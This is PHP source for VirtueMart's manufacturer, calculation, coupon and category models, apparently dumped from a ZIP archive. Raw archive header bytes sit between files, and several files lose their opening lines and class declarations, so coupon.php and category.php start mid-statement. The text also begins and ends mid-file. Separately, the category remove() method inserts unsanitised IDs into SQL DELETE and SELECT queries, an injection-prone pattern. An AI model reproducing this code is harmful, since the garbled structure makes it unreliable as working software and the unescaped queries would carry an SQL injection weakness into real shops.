$option.'search', 'search', '', 'string' ); $where = array(); if ($virtuemart_manufacturercategories_id > 0) { $where[] .= ' `m`.`virtuemart_manufacturercategories_id` = '. $virtuemart_manufacturercategories_id; } if ( $search && $search != 'true') { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] .= ' LOWER( `mf_name` ) LIKE '.$search; } if ($onlyPublished) { $where[] .= ' `m`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' `m`.*,`#__virtuemart_manufacturers_'.VMLANG.'`.*, mc.`mf_category_name` '; $joinedTables = 'FROM `#__virtuemart_manufacturers_'.VMLANG.'` JOIN `#__virtuemart_manufacturers` as m USING (`virtuemart_manufacturer_id`) '; $joinedTables .= ' LEFT JOIN `#__virtuemart_manufacturercategories_'.VMLANG.'` AS mc on mc.`virtuemart_manufacturercategories_id`= `m`.`virtuemart_manufacturercategories_id` '; $groupBy=' '; if($getMedia){ $select .= ',mmex.virtuemart_media_id '; $joinedTables .= 'LEFT JOIN `#__virtuemart_manufacturer_medias` as mmex ON `m`.`virtuemart_manufacturer_id`= mmex.`virtuemart_manufacturer_id` '; $groupBy=' GROUP BY `m`.`virtuemart_manufacturer_id` '; } $whereString = ' '; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where).' ' ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,$groupBy,$ordering ); } } // pure php no closing tagPKs>\ࠎO/O/com_virtuemart/models/calc.phpnuW+A St.Kraft 2013-02-24 manufacturer relation added * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * @version $Id: calc.php 6396 2012-09-05 17:35:36Z Milbo $ */ if(!class_exists('VmModel'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmmodel.php'); class VirtueMartModelCalc extends VmModel { /** * Constructor for the calc model. * * The calc id is read and detmimined if it is an array of ids or just one single id. * * @author RickG */ public function __construct(){ parent::__construct(); $this->setMainTable('calcs'); $this->setToggleName('calc_shopper_published'); $this->setToggleName('calc_vendor_published'); $this->setToggleName('shared'); $this->addvalidOrderingFieldName(array('virtuemart_category_id','virtuemart_country_id','virtuemart_state_id','virtuemart_shoppergroup_id' ,'virtuemart_manufacturer_id' )); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getCalc(){ if (empty($this->_data)) { if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('calcs'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('calc_categories'); $this->_data->calc_categories = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_categories '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $this->_data->virtuemart_shoppergroup_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_shoppergroups '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $this->_data->calc_countries = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_countries '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $this->_data->virtuemart_state_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' virtuemart_state_ids '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $this->_data->virtuemart_manufacturers = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_manufacturers '.$xrefTable->getError()); } JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmGetPluginInternalDataCalc',array(&$this->_data)); } // if($errs = $this->getErrors()){ // $app = JFactory::getApplication(); // foreach($errs as $err){ // $app->enqueueMessage($err); // } // } // vmdebug('my calc',$this->_data); return $this->_data; } /** * Retrieve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the published Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getCalcs($onlyPublished=false, $noLimit=false, $search=false){ $where = array(); $this->_noLimit = $noLimit; // add filters if ($onlyPublished) $where[] = '`published` = 1'; if($search){ $db = JFactory::getDBO(); $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $where[] = ' `calc_name` LIKE '.$search.' OR `calc_descr` LIKE '.$search.' OR `calc_value` LIKE '.$search.' '; } $whereString= ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_calcs`',$whereString,'',$this->_getOrdering()); if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Write the first 5 categories in the list */ $data->calcCategoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_calc_categories','virtuemart_calc_id',$data->virtuemart_calc_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); /* Write the first 5 shoppergroups in the list */ $data->calcShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_calc_shoppergroups','virtuemart_calc_id',$data->virtuemart_calc_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,false); /* Write the first 5 countries in the list */ $data->calcCountriesList = shopfunctions::renderGuiList('virtuemart_country_id','#__virtuemart_calc_countries','virtuemart_calc_id',$data->virtuemart_calc_id,'country_name','#__virtuemart_countries','virtuemart_country_id','country',4,false); /* Write the first 5 states in the list */ $data->calcStatesList = shopfunctions::renderGuiList('virtuemart_state_id','#__virtuemart_calc_states','virtuemart_calc_id',$data->virtuemart_calc_id,'state_name','#__virtuemart_states','virtuemart_state_id','state',4,false); /* Write the first 5 manufacturers in the list */ $data->calcManufacturersList = shopfunctions::renderGuiList('virtuemart_manufacturer_id','#__virtuemart_calc_manufacturers','virtuemart_calc_id',$data->virtuemart_calc_id,'mf_name','#__virtuemart_manufacturers','virtuemart_manufacturer_id','manufacturer'); $query = 'SELECT `currency_name` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` = "'.(int)$data->calc_currency.'" '; $this->_db->setQuery($query); $data->currencyName = $this->_db->loadResult(); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmGetPluginInternalDataCalcList',array(&$data)); } return $this->_data; } /** * Bind the post data to the calculation table and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store calc'); $table = $this->getTable('calcs'); // Convert selected dates to MySQL format for storing. $startDate = JFactory::getDate($data['publish_up']); $data['publish_up'] = $startDate->toMySQL(); // if ($data['publish_down'] == '' or $data['publish_down']==0){ if (empty($data['publish_down']) || trim($data['publish_down']) == JText::_('COM_VIRTUEMART_NEVER')){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $data['publish_down'] = $this->_db->getNullDate(); } else { $expireDate = JFactory::getDate($data['publish_down']); $data['publish_down'] = $expireDate->toMySQL(); } $table->bindChecknStore($data); if($table->getError()){ vmError('Calculation store '.$table->getError()); return false; } $xrefTable = $this->getTable('calc_categories'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmStorePluginInternalDataCalc',array(&$data)); $errMsg = $this->_db->getErrorMsg(); $errs = $this->_db->getErrors(); if(!empty($errMsg)){ $errNum = $this->_db->getErrorNum(); vmError('SQL-Error: '.$errNum.' '.$errMsg.'
      used query '.$this->_db->getQuery()); } if(!empty($errs)){ foreach($errs as $err){ if(!empty($err)) vmError('Calculation store '.$err); } } return $table->virtuemart_calc_id; } static function getRule($kind){ if (!is_array($kind)) $kind = array($kind); $db = JFactory::getDBO(); $nullDate = $db->getNullDate(); $now = JFactory::getDate()->toMySQL(); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE '; foreach ($kind as $field){ $q .= '`calc_kind`='.$db->Quote($field).' OR '; } $q=substr($q,0,-3); $q .= 'AND ( publish_up = "' . $db->getEscaped($nullDate) . '" OR publish_up <= "' . $db->getEscaped($now) . '" ) AND ( publish_down = "' . $db->getEscaped($nullDate) . '" OR publish_down >= "' . $db->getEscaped($now) . '" ) '; $db->setQuery($q); $data = $db->loadObjectList(); if (!$data) { $data = new stdClass(); } return $data; } /** * Delete all calcs selected * * @author Max Milbers * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable($this->_maintablename); $cat = $this->getTable('calc_categories'); $sgrp = $this->getTable('calc_shoppergroups'); $countries = $this->getTable('calc_countries'); $states = $this->getTable('calc_states'); $manufacturers = $this->getTable('calc_manufacturers'); $ok = true; foreach($cids as $id) { $id = (int)$id; vmdebug('remove '.$id); if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); $ok = false; } if (!$cat->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$cat->getError()); $ok = false; } if (!$sgrp->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$sgrp->getError()); $ok = false; } if (!$countries->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$countries->getError()); $ok = false; } if (!$states->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$states->getError()); $ok = false; } // Mod. St.Kraft 2013-02-24 if (!$manufacturers->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$manufacturers->getError()); $ok = false; } // if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDeleteCalculationRow', array( $id)); } return $ok; } static function getTaxes() { return self::getRule(array('TAX','VatTax','TaxBill')); } static function getDiscounts(){ return self::getRule(array('DATax','DATaxBill','DBTax','DBTaxBill')); } static function getDBDiscounts() { return self::getRule(array('DBTax','DBTaxBill')); } static function getDADiscounts() { return self::getRule(array('DATax','DATaxBill')); } }PKs>\׿g g com_virtuemart/models/coupon.phpnuW+AsetMainTable('coupons'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getCoupon() { $db = JFactory::getDBO(); if (empty($this->_data)) { $this->_data = $this->getTable('coupons'); $this->_data->load((int)$this->_id); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Bind the post data to the coupon table and save it * * @author RickG, Oscar van Eijk * @return mixed False if the save was unsuccessful, the coupon ID otherwise. */ function store(&$data) { $table = $this->getTable('coupons'); //$data = JRequest::get('post'); $table->bindChecknStore($data); // Convert selected dates to MySQL format for storing. if ($data['coupon_start_date']) { $startDate = JFactory::getDate($data['coupon_start_date']); $data['coupon_start_date'] = $startDate->toMySQL(); } if ($data['coupon_expiry_date']) { $expireDate = JFactory::getDate($data['coupon_expiry_date']); $data['coupon_expiry_date'] = $expireDate->toMySQL(); } parent::store($data); return $table->virtuemart_coupon_id; } /** * Retireve a list of coupons from the database. * * @author RickG * @return object List of coupon objects */ function getCoupons() { $whereString = ''; // if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_coupons`',$whereString,'',$this->_getOrdering()); } } // pure php no closing tagPKs>\ jss"com_virtuemart/models/category.phpnuW+AsetMainTable('categories'); $this->addvalidOrderingFieldName(self::$_validOrderingFields); $toCheck = VmConfig::get('browse_cat_orderby_field','category_name'); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $toCheck = 'category_name'; } $this->_selectedOrdering = $toCheck; $this->_selectedOrderingDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); $this->setToggleName('shared'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG, jseros, RolandD, Max Milbers */ public function getCategory($virtuemart_category_id=0,$childs=TRUE){ if(!empty($virtuemart_category_id)) $this->setId((int)$virtuemart_category_id); if (empty($this->_data)) { $this->_data = $this->getTable('categories'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('category_medias'); $this->_data->virtuemart_media_id = $xrefTable->load((int)$this->_id); if($xrefTable->getError()) vmError($xrefTable->getError()); if(empty($this->_data->category_template)){ $this->_data->category_template = VmConfig::get('categorytemplate'); } if(empty($this->_data->category_layout)){ $this->_data->category_layout = VmConfig::get('categorylayout'); } if($childs){ $this->_data->haschildren = $this->hasChildren($this->_id); /* Get children if they exist */ if ($this->_data->haschildren) $this->_data->children = $this->getCategories(true,$this->_id); else $this->_data->children = null; /* Get the product count */ $this->_data->productcount = $this->countProducts($this->_id); /* Get parent for breatcrumb */ $this->_data->parents = $this->getParentsList($this->_id); } if($errs = $this->getErrors()){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } } return $this->_data; } /** * Get the list of child categories for a given category, is cached * * @param int $virtuemart_category_id Category id to check for child categories * @return object List of objects containing the child categories * */ public function getChildCategoryList($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null, $cache = true) { $useCache = true; if(empty($this) or get_class($this)!='VirtueMartModelCategory'){ $useCache = false; } if($selectedOrdering===null){ if($useCache){ $selectedOrdering = $this->_selectedOrdering; } else { $selectedOrdering = VmConfig::get('browse_cat_orderby_field','category_name'); } } if(!in_array($selectedOrdering, self::$_validOrderingFields)){ $selectedOrdering = 'category_name'; } if($orderDir===null){ if($useCache){ $orderDir = $this->_selectedOrderingDir; } else { $orderDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); } } $validOrderingDir = array('ASC','DESC'); if(!in_array(strtoupper($orderDir), $validOrderingDir)){ $orderDir = 'ASC'; } static $_childCategoryList = array (); $key = (int)$vendorId.'_'.(int)$virtuemart_category_id.$selectedOrdering.$orderDir.VMLANG ; //We have here our internal key to preven calling of the cache if (! array_key_exists ($key,$_childCategoryList)){ if($useCache){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->setCaching(true); $_childCategoryList[$key] = $cache->call( array( 'VirtueMartModelCategory', 'getChildCategoryListObject' ),$vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } else { $_childCategoryList[$key] = VirtueMartModelCategory::getChildCategoryListObject($vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } } return $_childCategoryList[$key]; } /** * Be aware we need the lang to assure that the cache works properly. The cache needs all paraemeters * in the function call to use the right hash * * @author Max Milbers * @param $vendorId * @param $virtuemart_category_id * @param null $selectedOrdering * @param null $orderDir * @param $lang * @return mixed */ static public function getChildCategoryListObject($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null,$lang = VMLANG) { $query = 'SELECT L.* FROM `#__virtuemart_categories_'.$lang.'` as L JOIN `#__virtuemart_categories` as c using (`virtuemart_category_id`)'; $query .= ' LEFT JOIN `#__virtuemart_category_categories` as cx on c.`virtuemart_category_id` = cx.`category_child_id` '; $query .= 'WHERE cx.`category_parent_id` = ' . (int)$virtuemart_category_id . ' '; $query .= 'AND c.`virtuemart_vendor_id` = ' . (int)$vendorId . ' '; $query .= 'AND c.`published` = 1 '; $query .= ' ORDER BY '.$selectedOrdering.' '.$orderDir; $db = JFactory::getDBO(); $db->setQuery( $query); $childList = $db->loadObjectList(); if(!empty($childList)){ if(!class_exists('TableCategory_medias'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'category_medias.php'); foreach($childList as $child){ $xrefTable = new TableCategory_medias($db); $child->virtuemart_media_id = $xrefTable->load($child->virtuemart_category_id); } } return $childList; } // public sortArraysPerXref(){ // $q = 'SELECT * FROM ' // } public function getCategoryTree($parentId=0, $level = 0, $onlyPublished = true,$keyword = ''){ $sortedCats = array(); $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; // vmRam('What take the cats?'); $this->_noLimit = true; if($keyword!=''){ $sortedCats = self::getCategories($onlyPublished, false, false, $keyword); } else { $this->rekurseCats($parentId,$level,$onlyPublished,$keyword,$sortedCats); } $this->_noLimit = false; $this->_total = count($sortedCats); $this->_limitStart = $limitStart; $this->_limit = $limit; $this->getPagination(); if(empty($limit)){ return $sortedCats; } else { $sortedCats = array_slice($sortedCats, $limitStart,$limit); return $sortedCats; } } public function rekurseCats($virtuemart_category_id,$level,$onlyPublished,$keyword,&$sortedCats){ $level++; if($this->hasChildren($virtuemart_category_id)){ $childCats = self::getCategories($onlyPublished, $virtuemart_category_id, false, $keyword); if(!empty($childCats)){ foreach ($childCats as $key => $category) { $category->level = $level; $sortedCats[] = $category; $this->rekurseCats($category->virtuemart_category_id,$level,$onlyPublished,$keyword,$sortedCats); } } } } public function getCategories($onlyPublished = true, $parentId = false, $childId = false, $keyword = "") { $vendorId = 1; $select = ' c.`virtuemart_category_id`, l.`category_description`, l.`category_name`, c.`ordering`, c.`published`, cx.`category_child_id`, cx.`category_parent_id`, c.`shared` '; $joinedTables = ' FROM `#__virtuemart_categories_'.VMLANG.'` l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) LEFT JOIN `#__virtuemart_category_categories` AS cx ON l.`virtuemart_category_id` = cx.`category_child_id` '; $where = array(); if( $onlyPublished ) { $where[] = " c.`published` = 1 "; } if( $parentId !== false ){ $where[] = ' cx.`category_parent_id` = '. (int)$parentId; } if( $childId !== false ){ $where[] = ' cx.`category_child_id` = '. (int)$childId; } if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = ' (c.`virtuemart_vendor_id` = "'. (int)$vendorId. '" OR c.`shared` = "1") '; } if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $where[] = ' ( l.`category_name` LIKE '.$keyword.' OR l.`category_description` LIKE '.$keyword.') '; } $whereString = ''; if (count($where) > 0){ $whereString = ' WHERE '.implode(' AND ', $where) ; } else { $whereString = 'WHERE 1 '; } $ordering = $this->_getOrdering(); $this->_category_tree = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,'',$ordering ); return $this->_category_tree; } /** * count the products in a category * * @author Max Milbers * @return array list of categories product is in */ public function countProducts($cat_id=0) { if(!empty($this->_db))$this->_db = JFactory::getDBO(); $vendorId = 1; if ($cat_id > 0) { $q = 'SELECT count(#__virtuemart_products.virtuemart_product_id) AS total FROM `#__virtuemart_products`, `#__virtuemart_product_categories` WHERE `#__virtuemart_products`.`virtuemart_vendor_id` = "'.(int)$vendorId.'" AND `#__virtuemart_product_categories`.`virtuemart_category_id` = '.(int)$cat_id.' AND `#__virtuemart_products`.`virtuemart_product_id` = `#__virtuemart_product_categories`.`virtuemart_product_id` AND `#__virtuemart_products`.`published` = "1" '; $this->_db->setQuery($q); $count = $this->_db->loadResult(); } else $count=0 ; return $count; } /** * Order any category * * @author jseros * @param int $id category id * @param int $movement movement number * @return bool */ public function orderCategory($id, $movement){ //retrieving the category table object //and loading data $row = $this->getTable('categories'); $row->load($id); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. (int)$row->virtuemart_category_id ; $this->_db->setQuery($query); $parent = $this->_db->loadObject(); if (!$row->move( $movement, $parent->category_parent_id)) { vmError($row->getError()); return false; } return true; } /** * Order category group * * @author jseros * @param array $cats categories to order * @return bool */ public function setOrder($cats, $order){ $total = count( $cats ); $groupings = array(); $row = $this->getTable('categories'); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_categories` c LEFT JOIN `#__virtuemart_category_categories` cx ON c.`virtuemart_category_id` = cx.`category_child_id` WHERE c.`virtuemart_category_id` = %s'; // update ordering values for( $i=0; $i < $total; $i++ ) { $row->load( $cats[$i] ); $this->_db->setQuery( sprintf($query, (int)$cats[$i] ), 0 ,1 ); $parent = $this->_db->loadObject(); $groupings[] = $parent->category_parent_id; if ($row->ordering != $order[$i]) { $row->ordering = $order[$i]; if (!$row->toggle('ordering',$row->ordering)) { vmError($row->getError()); return false; } } } // execute reorder for each parent group $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $row->reorder($group); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Retrieve the detail record for the parent category of $categoryd * * @author jseros * * @param int $categoryId Child category id * @return JTable parent category data */ public function getParentCategory( $categoryId = 0 ){ $data = $this->getRelationInfo( $categoryId ); $parentId = isset($data->category_parent_id) ? $data->category_parent_id : 0; $parent = $this->getTable('categories'); $parent->load((int) $parentId); return $parent; } /** * Retrieve category child-parent relation record * * @author jseros * * @param int $virtuemart_category_id * @return object Record of parent relation */ public function getRelationInfo( $virtuemart_category_id = 0 ){ $virtuemart_category_id = (int) $virtuemart_category_id; $query = 'SELECT `category_parent_id`, `ordering` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. $this->_db->Quote($virtuemart_category_id); $this->_db->setQuery($query); return $this->_db->loadObject(); } /** * Bind the post data to the category table and save it * * @author jseros, RolandD, Max Milbers * @return int category id stored */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store category'); $table = $this->getTable('categories'); /* vmdebug('categorytemplate to null',VmConfig::get('categorytemplate'),$data['category_template']); * VmConfig::get('categorytemplate') = default * $data['category_template'] = 0 */ if ( !array_key_exists ('category_template' , $data ) ){ $data['category_template'] = $data['category_layout'] = $data['category_product_layout'] = 0 ; } if(VmConfig::get('categorytemplate') == $data['category_template'] ){ $data['category_template'] = 0; } if(VmConfig::get('categorylayout') == $data['category_layout']){ $data['category_layout'] = 0; } if(VmConfig::get('productlayout') == $data['category_product_layout']){ $data['category_product_layout'] = 0; } // vmdebug('category store ',$data); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } if(!empty($data['virtuemart_category_id'])){ $xdata['category_child_id'] = (int)$data['virtuemart_category_id']; $xdata['category_parent_id'] = empty($data['category_parent_id'])? 0:(int)$data['category_parent_id']; $xdata['ordering'] = empty($data['ordering'])? 0: (int)$data['ordering']; $table = $this->getTable('category_categories'); $table->bindChecknStore($xdata); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } } // Process the images $mediaModel = VmModel::getModel('Media'); $file_id = $mediaModel->storeMedia($data,'category'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return $data['virtuemart_category_id'] ; } /** * Delete all categories selected * * @author jseros * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable('categories'); foreach($cids as &$cid) { if (!$table->delete($cid)) { vmError($table->getError()); return false; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $cid . '" AND `field_type`= "Z"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } } $cidInString = implode(',',$cids); //Delete media xref $query = 'DELETE FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting product relations $query = 'DELETE FROM `#__virtuemart_product_categories` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting category relations $query = 'DELETE FROM `#__virtuemart_category_categories` WHERE `category_child_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //updating parent relations $query = 'UPDATE `#__virtuemart_category_categories` SET `category_parent_id` = 0 WHERE `category_parent_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Checks for children of the category $virtuemart_category_id * * @author RolandD * @param int $virtuemart_category_id the category ID to check * @return boolean true when the category has childs, false when not */ public function hasChildren($virtuemart_category_id) { // vmSetStartTime('hasChildren'); $db = JFactory::getDBO(); $q = "SELECT `category_child_id` FROM `#__virtuemart_category_categories` WHERE `category_parent_id` = ".(int)$virtuemart_category_id; $db->setQuery($q); $db->query(); if ($db->getAffectedRows() > 0){ // vmTime('hasChildren YES','hasChildren'); return true; } else { // vmTime('hasChildren NO','hasChildren'); return false; } } /** * Creates a bulleted of the childen of this category if they exist * * @author RolandD * @todo Add vendor ID * @param int $virtuemart_category_id the category ID to create the list of * @return array containing the child categories */ public function getParentsList($virtuemart_category_id) { $db = JFactory::getDBO(); $menu = JFactory::getApplication()->getMenu(); $parents = array(); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $menuCatid = (empty($menuItem->query['virtuemart_category_id'])) ? 0 : $menuItem->query['virtuemart_category_id']; if ($menuCatid == $virtuemart_category_id) return ; $parents_id = array_reverse($this->getCategoryRecurse($virtuemart_category_id,$menuCatid)); foreach ($parents_id as $id ) { $q = 'SELECT `category_name`,`virtuemart_category_id` FROM `#__virtuemart_categories_'.VMLANG.'` WHERE `virtuemart_category_id`='.(int)$id; $db->setQuery($q); $parents[] = $db->loadObject(); } return $parents; } var $categoryRecursed = 0; function getCategoryRecurse($virtuemart_category_id,$catMenuId,$first=true ) { static $idsArr = array(); if($first) { $idsArr = array(); $this->categoryRecursed = 0; } else if($this->categoryRecursed>10){ vmWarn('Stopped getCategoryRecurse after 10 rekursions'); return $idsArr; } $db = JFactory::getDBO(); $q = "SELECT `category_child_id` AS `child`, `category_parent_id` AS `parent` FROM `#__virtuemart_category_categories` AS `xref` WHERE `xref`.`category_child_id`= ".(int)$virtuemart_category_id; $db->setQuery($q); if (!$ids = $db->loadObject()) { return $idsArr; } if ($ids->child) $idsArr[] = $ids->child; if($ids->child != 0 and $catMenuId != $virtuemart_category_id and $catMenuId != $ids->parent) { $this->categoryRecursed++; $this->getCategoryRecurse($ids->parent,$catMenuId,false); } return $idsArr; } /** * Stuff of categorydetails */ /* array container for category tree ID*/ var $container = array(); /** * Sorts an array with categories so the order of the categories is the same as in a tree. * * @author jseros * * @param array $this->_category_tree * @return associative array ordering categories * @deprecated */ public function sortCategoryTree($categoryArr){ /** FIRST STEP * Order the Category Array and build a Tree of it **/ $idList = array(); $rowList = array(); $depthList = array(); $children = array(); $parentIds = array(); $parentIdsHash = array(); $parentId = 0; for( $i = 0, $nrows = count($categoryArr); $i < $nrows; $i++ ) { $parentIds[$i] = $categoryArr[$i]->category_parent_id; if($categoryArr[$i]->category_parent_id == 0){ array_push($idList, $categoryArr[$i]->category_child_id); array_push($rowList, $i); array_push($depthList, 0); } $parentId = $parentIds[$i]; if( isset($parentIdsHash[$parentId] )){ $parentIdsHash[$parentId][$categoryArr[$i]->category_child_id] = $i; } else{ $parentIdsHash[$parentId] = array($categoryArr[$i]->category_child_id => $i); } } $loopCount = 0; $watch = array(); // Hash to store children while( count($idList) < $nrows ){ if( $loopCount > $nrows ) break; $idTemp = array(); $rowTemp = array(); $depthTemp = array(); for($i = 0, $cIdlist = count($idList); $i < $cIdlist ; $i++) { $id = $idList[$i]; $row = $rowList[$i]; $depth = $depthList[$i]; array_push($idTemp, $id); array_push($rowTemp, $row); array_push($depthTemp, $depth); $children = @$parentIdsHash[$id]; if( !empty($children) ){ foreach($children as $key => $value) { if( !isset($watch[$id][$key]) ){ $watch[$id][$key] = 1; array_push($idTemp, $key); array_push($rowTemp, $value); array_push($depthTemp, $depth + 1); } } } } $idList = $idTemp; $rowList = $rowTemp; $depthList = $depthTemp; $loopCount++; } return array('id_list' => $idList, 'row_list' => $rowList, 'depth_list' => $depthList, 'categories' => $categoryArr ); } /* * Returns an array of the categories recursively for a given category * @author Kohl Patrick * @param int $id * @param int $maxLevel * @Object $this->container * @deprecated */ function treeCat($id=0,$maxLevel =1000) { static $level = 0; static $num = -1 ; $db = JFactory::getDBO(); 